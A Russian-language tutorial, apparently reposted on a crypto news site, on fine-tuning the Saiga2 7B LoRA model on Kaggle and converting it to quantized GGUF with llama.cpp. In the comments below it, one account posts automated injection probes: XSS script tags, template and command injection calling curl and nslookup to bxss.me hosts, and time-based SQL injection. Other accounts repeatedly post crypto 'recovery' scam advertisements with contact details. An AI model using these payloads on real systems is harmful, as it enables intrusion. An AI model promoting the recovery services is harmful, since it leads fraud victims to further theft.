Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie

Прямой эфир

Русский

English

Войти / Регистрация

Cryptocurrencies: 9512 / Markets: 114689

Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

Дообучение saiga2_7b_lora

Всем привет дорогие читатели!

В данном руководстве я бы хотел рассказать и показать вам, как дообучить 7-миллиардную модель Сайги Ильи Гусева @Takagi под свои задачи. Данная статья является своеобразным туториалом по дообучению модели на Kaggle. Однако в наше время написано много статей про дообучение LLM, но все они в большинстве англоязычные или авторы используют свои вычислительные мощности загоняя в тупик тех, у кого возможности обучать на своём «железе» нет.

Сгенерировано GigaChat

Начнём пожалуй с вопроса «Почему Kaggle, а не Google Collab?»

Преимущество Kaggle над Google Collab для меня заключается в том, что вычислительные мощности, которые представляет данная платформа, выдаются на 30 часов каждую неделю (если говорить про GPU). Плюс Notebook, в котором вы сейчас работаете, не завершит свою работу в течении 12 часов (если какой-то код там выполняется), в отличие от Collab`а, который может вам завершить работу если вы решили отдохнуть и запустили код на обучение.

Выделенного времени более чем достаточно если вы изначально создадите все скрипты для обучения вашей модели.

Датасет

Как должен выглядеть свой датасет для обучения? Этим вопросом я задавался постоянно, когда приходилось обучать любую LLM. И в один момент пришло осознание.

Куда же без мемов

Для начала разберём, что на вход подаётся модели. Важный момент! Не то, какой промт вы ей передаёте, а то какой формат имеет системный, пользовательский промт и ответ модели.

Для этого я использовал код, который был предложен на Hugging Face для модели Сайги от Ильи Гусева. По хорошему можно было разобраться в файлах обучения LLama на GitHub проекта rulm и посмотреть как был «предобработан» датасет для обучения модели, но спасибо автору, что он в карточке модели предоставил код для её запуска.

Ссылка на код для проведения данного эксперемента

Kaggle

Итак, нас интересует строка 9 в методе generate.

def generate(model, tokenizer, prompt, generation_config):
    data = tokenizer(prompt, return_tensors="pt")
    data = {k: v.to(model.device) for k, v in data.items()}
    output_ids = model.generate(
        **data,
        generation_config=generation_config
    )[0]
    output_ids = output_ids[len(data["input_ids"][0]):]
    output = tokenizer.decode(output_ids, skip_special_tokens=True)
    return output.strip()

А именно output и параметр skip_special_tokens, который отвечает за вывод специальных токенов (о них поговорим ниже). Изменяем значение на False. Далее для наглядности напишем метод для взаимодействия с классом Conversation.

def get_message(inputs):
    conversation = Conversation()
    conversation.add_user_message(inputs)
    prompt = conversation.get_prompt(tokenizer)
    print('Промт', '\n', '*'*100)
    print(prompt)
    print('*'*100)
    output = generate(model, tokenizer, prompt, generation_config)
    return output

В данном методе мы создаем объект класса, вызываем добавление пользовательского промта и получаем промт, который передается в модель, но мы его перед этим выведем.

Теперь нам нужно сформировать любой запрос, чтобы посмотреть формат промта для модели и ответа модели.

Рисунок 1 - Пример запроса и ответа модели

На рисунке видно, что мы не просто передаем запрос и разделяем все промты специальными токенами.

bos_token_id (Beginning of Sequence token ID) - начало последовательности.
eos_token_id (End of Sequence token ID) - конец последовательности.

На рисунке 1 видно что предобработанная строка с запросом заканчивается на “... </s><s>bot”, а ответ модели заканчивается на “... </s>”. Именно поэтому модель понимает, где начать генерировать текст (с токена “bos_token_id”) и в конце своей генерации ставит токен “eos_token_id”.

Данные токены заложены в конфигурации токенизатора, это можно проверить с помощью кода ниже.

print(tokenizer.bos_token_id)
print(tokenizer.eos_token_id)
print(tokenizer.decode([1]))
print(tokenizer.decode([2]))

На выходе мы получаем

Рисунок 2 - Вывод id токенов и декодирование

В промте также присутствуют слова “system”, “user” и “bot”, которые идут сразу же после токена “bos”. Их тоже надо будет учитывать при создании датасета. Токенизация представлена на рисунке 3.

Рисунок 3 - Токенизация слов “system”, “user” и “bot”

Теперь подытожим и соберём всё вместе, чтобы понять на каких строках будет обучатся наша модель.

"""<s>system
Тут какой-то системный промт</s><s>user
Тут мы задаём запрос</s><s>bot
Тут модель генерирует текст</s>"""

Вот и всё, пример одного экземпляра датасета уже сделан (шутка нет).

Осталось подготовить наши данные в определенном формате и уже можно создавать методы для предобработки датасета.

Какой формат датасета можно использовать?

Для удобства можно составить «неправильный” json, в котором будут записаны все наши данные.

Формат датасета в двух словах. Это json в котором каждая новая строка представляет собой словарь с ключами “system”, “user” и “bot”. Значение для каждого ключа заполняем системным, пользовательским и ответом бота соответственно.

В конечном итоге у вас должен получится примерно такой вид

Рисунок 4 - Пример датасета в json файле

Я же создал датасет разделил его на 2 файла: train.json и val.json. Файл валидации служит для оценки модели на i-ой эпохе и проверки переобучения модели.

Подготовим ноутбук для предобработки и обучения модели

Для начала загружаем модель LLama2 и адаптер LoRa (обязательно ставим параметр is_trainable = True)

MODEL_NAME = "IlyaGusev/saiga2_7b_lora"
device = torch.device("cuda" if torch.cuda.is_available() else "cpu")

st_time = time.time()

# bnb_config = BitsAndBytesConfig(
#     load_in_4bit=True,
#     bnb_4bit_quant_type="nf4",
#     bnb_4bit_compute_dtype= torch.float16,
#     bnb_4bit_use_double_quant=False,
# )


config = PeftConfig.from_pretrained(MODEL_NAME)
model = AutoModelForCausalLM.from_pretrained(
    config.base_model_name_or_path,
    load_in_8bit = True,
    torch_dtype=torch.float16,
    device_map="auto",
#     quantization_config=bnb_config
)
model = PeftModel.from_pretrained(
    model,
    MODEL_NAME,
    torch_dtype=torch.float16,
#      torch_dtype=torch.bfloat16,
    is_trainable = True,
#     device_map="auto"
).to(device)


model.eval()

tokenizer = AutoTokenizer.from_pretrained(MODEL_NAME, use_fast=False)
generation_config = GenerationConfig.from_pretrained(MODEL_NAME)
print(generation_config)
print(f'Прошло времени {time.time() - st_time}')

Теперь загрузим наши данные с помощью метода load_dataset

data = load_dataset(
    "json", 
    data_files={
                'train' : '/kaggle/input/fine-tunning-llama/train.json' ,
                'validation' : '/kaggle/input/fine-tunning-llama/val.json'
    }
)
data

Cоставим метод для предобработки данных, чтобы каждый элемент датасета был словарём с ключами input_ids, attention_mask, labels

CUTOFF_LEN = 3584

def generate_prompt(data_point):
    promt = f"""<s>system
{data_point['system']}</s><s>user
{data_point['user']}</s><s>bot
{data_point['bot']}</s>"""
    #     print(promt)
    return promt
 
    
def tokenize (prompt, add_eos_token=True):
    result = tokenizer(
        prompt,
        truncation=True,
        max_length=CUTOFF_LEN,
        padding=False,
        return_tensors=None,
    )
    if (
        result["input_ids"][-1] != tokenizer.eos_token_id and len(result["input_ids"]) < CUTOFF_LEN
        and add_eos_token
    ):
        
        result["input_ids"].append(tokenizer.eos_token_id)
        result["attention_mask"].append(1)
        
        
    
    result["labels"] = result["input_ids"].copy()

    return result
 
def generate_and_tokenize_prompt(data_point):
    full_prompt = generate_prompt(data_point)
    tokenized_full_prompt = tokenize(full_prompt)
#     print(tokenized_full_prompt)
    return tokenized_full_prompt

Сделаем предобработку для каждого элемента

train_data = (
    data["train"].map(generate_and_tokenize_prompt)
)

val_data = (
    data["validation"].map(generate_and_tokenize_prompt)
)

Далее задаём параметры обучения

per_device_train_batch_size - размер батча на каждую видеокарту (так как у нас она одна, все вычесления будут происходить на ней)
gradient_accumulation_steps - накапливание градиента для экономии видеопамяти
max_steps - количество шагов обучения
learning_rate - скорость обучения
fp16 - используем точность fp16. О этом параметре можно почитать тут
logging_steps - вывод метрики потерь через данное количество шагов, которое здесь зададим
optim - оптимизатор
evaluation_strategy - стратегия вычислений, так как у нас стоят шаги (steps), то записываем steps
eval_steps - подсчет метрики потерь каждые N шагов, которые здесь укажем
save_steps - параметр сохранения чекпоинтов обучения через каждые N раз, которые здесь задаём
output_dir - параметр для сохранения модели и чекпоинтов
save_total_limit - количество сохранённых чекпоинтов
load_best_model_at_end - загрузка лучшей модели после обучения
report_to - сохранить историю обучения на какой-либо сервис
overwrite_output_dir - перезапись директории для сохранения модели

Мои параметры обучения

BATCH_SIZE = 4
MICRO_BATCH_SIZE = 2
GRADIENT_ACCUMULATION_STEPS = BATCH_SIZE // MICRO_BATCH_SIZE
LEARNING_RATE = 3e-4
TRAIN_STEPS = 100
OUTPUT_DIR = "/kaggle/working/tmp"

training_arguments = transformers.TrainingArguments(
            per_device_train_batch_size=MICRO_BATCH_SIZE,
            gradient_accumulation_steps=GRADIENT_ACCUMULATION_STEPS,
#             warmup_steps=200,
            max_steps=TRAIN_STEPS,
            learning_rate=LEARNING_RATE,
            fp16=True,
            logging_steps=10,
            optim="adamw_torch",
            evaluation_strategy="steps",
            save_strategy="steps",
            eval_steps=10,
            save_steps=10,
            output_dir=OUTPUT_DIR,
            save_total_limit=10,
            load_best_model_at_end=True,
            report_to=None,
            overwrite_output_dir=True, # Overwrite the content of the output dir
)

Далее выбираем data_collator для пакетной обработки наших данных (DataCollatorForSeq2Seq). И в конечном итоге запускаем обучение

data_collator = transformers.DataCollatorForSeq2Seq(
    tokenizer, pad_to_multiple_of=8, return_tensors="pt", padding=True
)

trainer = transformers.Trainer(
    model=model,
    train_dataset=train_data,
    eval_dataset=val_data,
    args=training_arguments,
    data_collator=data_collator
)
model = torch.compile(model)
trainer.train()
model.save_pretrained(OUTPUT_DIR)

Готово!!

Обучение завершено и можно запушить наш дообученный адаптер на Hugging Face

from huggingface_hub import notebook_login

notebook_login()

model.push_to_hub("Your project", use_auth_token=True)

Конвертирование модели в GGUF формат или как запустить модель на «калькуляторе»

Если вы хотите чтобы ваша модель работала и занимала меньше памяти и чтобы она запускалась у вас на «калькуляторе» с 6 гигабайтами RAM, то для этого необходимо будет квантовать вашу модель.

Важно упомянуть, что квантование модели будет означать небольшую потерю точности. В данном случае будем квантовать модель до 4 бит. О том как квантовать модель оставлю ссылку в конце статьи.

Для начала мы должны склеить наши дообученные слои LoRa с нашей моделью.

Клонируем репозитории rulm и llama.cpp

Далее прописываем необходимые пути:

self_instruct_dir - путь до self_instruct в проекте rulm
checkpoint - чекпоинт нашей лучшей модели
merged_model_name - куда мы хотим сохранить итоговую модель в формате PyTorch

Далее переходим в папку self_instruct_dir и вызываем скрипт convert_to_native нашими параметрами

Пример параметров

self_instruct_dir = '/kaggle/working/rulm/self_instruct'
checkpoint = "/kaggle/working/tmp/checkpoint-40"
merged_model_name = '/kaggle/tmp/merged_test_model.pt'

%cd {self_instruct_dir}

!python -m src.tools.convert_to_native {checkpoint} {merged_model_name} --device=cuda --enable_offloading

Рисунок 5 - Склеенная модель в формате PyTorch

Конвертируем модель в GGUF формат

Перед конвертацией нам нужно сохранить Tokenizer в любую папку. Tokenizer берём той же самой модели Saiga

from transformers import AutoTokenizer
tokenizer = AutoTokenizer.from_pretrained("IlyaGusev/saiga2_7b_lora", use_fast=False)
tokenizer.save_pretrained('/kaggle/working/tmp/checkpoint-40/')

Далее переходим в папку llama.cpp и задаём необходимые параметры для конвертирования модели.

model_dir - путь до «склеенной» модели
checkpoint (можно было назвать tokenizer_path) - путь до сохранённого токенизатора
output_model - куда сохраняем нашу модель
ctx - количество tokens на входном слое (лучше оставить такое же значение как и у оригинальной модели)

Пример параметров

model_dir = '/kaggle/tmp/merged_test_model.pt'
checkpoint = "/kaggle/working/tmp/checkpoint-40"
output_model = "/kaggle/tmp/model-f16.gguf"

Далее запускаем скрипт convert.py

!python convert.py {model_dir} --vocab-dir {checkpoint} --outfile {output_model} --outtype f16 --ctx 4096

Квантование модели до 4 бит

Для начала вызываем !make quantize

Далее также задаём параметры

model_gguf - наша 16 битная модель gguf
quant_model - куда сохраняем модель + название
quantization_type - тип квантования (используем q4_0)

После объявления параметров запускаем скрипт

! ./quantize {model_gguf} {quant_model} {quantization_type}

Проверяем нашу модель

Скрипт для фикса библиотеки, чтобы запустить модель GGUF на GPU

%cd ~
!git clone --recursive https://github.com/ggerganov/llama.cpp.git
%cd llama.cpp
!make LLAMA_CUBLAS=1 -j libllama.so

# HACK: Use custom compiled libllama.so
%cp ~/llama.cpp/libllama.so /opt/conda/lib/python3.10/site-packages/llama_cpp/libllama.so

Скрипт для запуска модели

from llama_cpp import Llama
from tqdm import tqdm

SYSTEM_PROMPT = "Ты извлекаешь термины и определения из текста"
SYSTEM_TOKEN = 1587
USER_TOKEN = 2188
BOT_TOKEN = 12435
LINEBREAK_TOKEN = 13
# model_path = '/kaggle/tmp/model-q4_K.gguf'

n_ctx = 2000 #
top_k = 30
top_p = 0.9
temperature = 0.01
repeat_penalty = 1.1


ROLE_TOKENS = {
    "user": USER_TOKEN,
    "bot": BOT_TOKEN,
    "system": SYSTEM_TOKEN
}


def get_message_tokens(model, role, content):
    message_tokens = model.tokenize(content.encode("utf-8"))
    message_tokens.insert(1, ROLE_TOKENS[role])
    message_tokens.insert(2, LINEBREAK_TOKEN)
    message_tokens.append(model.token_eos())
    return message_tokens


def get_system_tokens(model):
    system_message = {
        "role": "system",
        "content": SYSTEM_PROMPT
    }
    return get_message_tokens(model, **system_message)

def chat_saiga(message, model):
    system_tokens = get_system_tokens(model)
    tokens = system_tokens
    # model.eval(tokens)
    
    message_tokens = get_message_tokens(model=model, role="user", content=message)
    role_tokens = [model.token_bos(), BOT_TOKEN, LINEBREAK_TOKEN]
    tokens += message_tokens + role_tokens
    # print(tokens)
    # detokenize = model.detokenize(tokens)
    # print(model.tokenize(full_prompt))
    generator = model.generate(
        tokens,
        top_k = top_k,
        top_p = top_p,
        temp = temperature,
        repeat_penalty = repeat_penalty,
        reset = True
    )
    # print(len([token for token in generator]))
    
    result_list = []
    
    for token in generator:
        token_str = model.detokenize([token]).decode("utf-8", errors="ignore")
        tokens.append(token)
        if token == model.token_eos():
            break
        print(token_str, end="", flush=True)
        result_list.append(token_str)
    return ''.join(result_list)

try:
    del model
except:
    pass

# model_path = '/kaggle/working/model-q4_0.gguf'
model_path = '/kaggle/working/model-q4_0.gguf'
n_ctx = 3096 #

model = Llama(
        model_path = model_path,
        n_ctx = n_ctx,
        n_gpu_layers=-1
)

Рисунок 6 - Вывод модели

В итоге модель переобучилась, но в целом она формирует нужный формат вывода, а именно список словарей терминов. Если подготовить более качественный датасет, то будут результаты намного выше.

Причина по которой создан данный туториал

Этот туториал появился, когда мы в AI-команде Инлайн работали над интеграцией Сайги с вызовом функций и для обращения к внешним API, чтобы LLM могла запрашивать внешнюю информацию для ответов на вопросы.

И мы хотели бы, чтобы каждый мог при желании сам попробовать дообучить и оценить свою модель LLM

Ссылки на полезные источники

Отдельно хочу поблагодарить за проделанную работу автора Saiga Илью Гусева и автора llama.cpp Георгия Герганова

Источник

Теги

Категория

Новости

Дата

28 нояб. 2023 г.

09.10.25 08:09 pHqghUme

can I ask you a question please?
09.10.25 08:09 pHqghUme

is it ok if I upload an image?
09.10.25 08:09 pHqghUme

is it ok if I upload an image?
09.10.25 08:09 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

is it ok if I upload an image?
09.10.25 08:13 pHqghUme

can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>
09.10.25 08:13 pHqghUme

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}
09.10.25 08:13 pHqghUme

'"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>
09.10.25 08:13 pHqghUme

can I ask you a question please?9425407
09.10.25 08:13 pHqghUme

is it ok if I upload an image?
09.10.25 08:14 pHqghUme

is it ok if I upload an image?
09.10.25 08:16 pHqghUme

e
09.10.25 08:17 pHqghUme

e
09.10.25 08:17 pHqghUme

e
09.10.25 08:17 pHqghUme

"+response.write(9043995*9352716)+"
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:18 pHqghUme

can I ask you a question please?
09.10.25 08:18 pHqghUme

$(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:18 pHqghUme

|(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)
09.10.25 08:18 pHqghUme

|(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:19 pHqghUme

is it ok if I upload an image?
09.10.25 08:20 pHqghUme

e
09.10.25 08:20 pHqghUme

e
09.10.25 08:21 pHqghUme

e
09.10.25 08:21 pHqghUme

e
09.10.25 08:21 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

is it ok if I upload an image?
09.10.25 08:22 pHqghUme

if(now()=sysdate(),sleep(15),0)
09.10.25 08:22 pHqghUme

can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
09.10.25 08:23 pHqghUme

can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
09.10.25 08:23 pHqghUme

can I ask you a question please?
09.10.25 08:23 pHqghUme

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
09.10.25 08:24 pHqghUme

is it ok if I upload an image?
09.10.25 08:24 pHqghUme

e
09.10.25 08:24 pHqghUme

can I ask you a question please?-1 waitfor delay '0:0:15' --
09.10.25 08:25 pHqghUme

is it ok if I upload an image?
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --
09.10.25 08:26 pHqghUme

can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--
09.10.25 08:26 pHqghUme

e
09.10.25 08:27 pHqghUme

can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--
09.10.25 08:27 pHqghUme

can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--
09.10.25 08:28 pHqghUme

can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
09.10.25 08:28 pHqghUme

can I ask you a question please?'"
09.10.25 08:28 pHqghUme

can I ask you a question please?
09.10.25 08:28 pHqghUme

@@olQP6
09.10.25 08:28 pHqghUme

(select 198766*667891 from DUAL)
09.10.25 08:28 pHqghUme

(select 198766*667891)
09.10.25 08:30 pHqghUme

is it ok if I upload an image?
09.10.25 08:33 pHqghUme

can I ask you a question please?
09.10.25 08:34 pHqghUme

can I ask you a question please?
09.10.25 08:34 pHqghUme

if(now()=sysdate(),sleep(15),0)
09.10.25 08:35 pHqghUme

e
09.10.25 08:36 pHqghUme

is it ok if I upload an image?
09.10.25 08:36 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

e
09.10.25 08:37 pHqghUme

e
09.10.25 08:40 pHqghUme

can I ask you a question please?
09.10.25 08:40 pHqghUme

is it ok if I upload an image?
09.10.25 08:41 pHqghUme

e
09.10.25 08:41 pHqghUme

can I ask you a question please?
09.10.25 08:42 pHqghUme

can I ask you a question please?
09.10.25 08:42 pHqghUme

is it ok if I upload an image?
09.10.25 08:42 pHqghUme

e
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
11.10.25 04:41 luciajessy3

Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…
11.10.25 10:44 Tonerdomark

A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.
12.10.25 01:12 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
12.10.25 01:12 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
12.10.25 19:53 Tonerdomark

A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.
12.10.25 21:36 blessing

Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.
13.10.25 01:11 elizabethrush89

God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
13.10.25 01:11 elizabethrush89

God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 01:15 tyleradams

Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]
14.10.25 08:46 robertalfred175

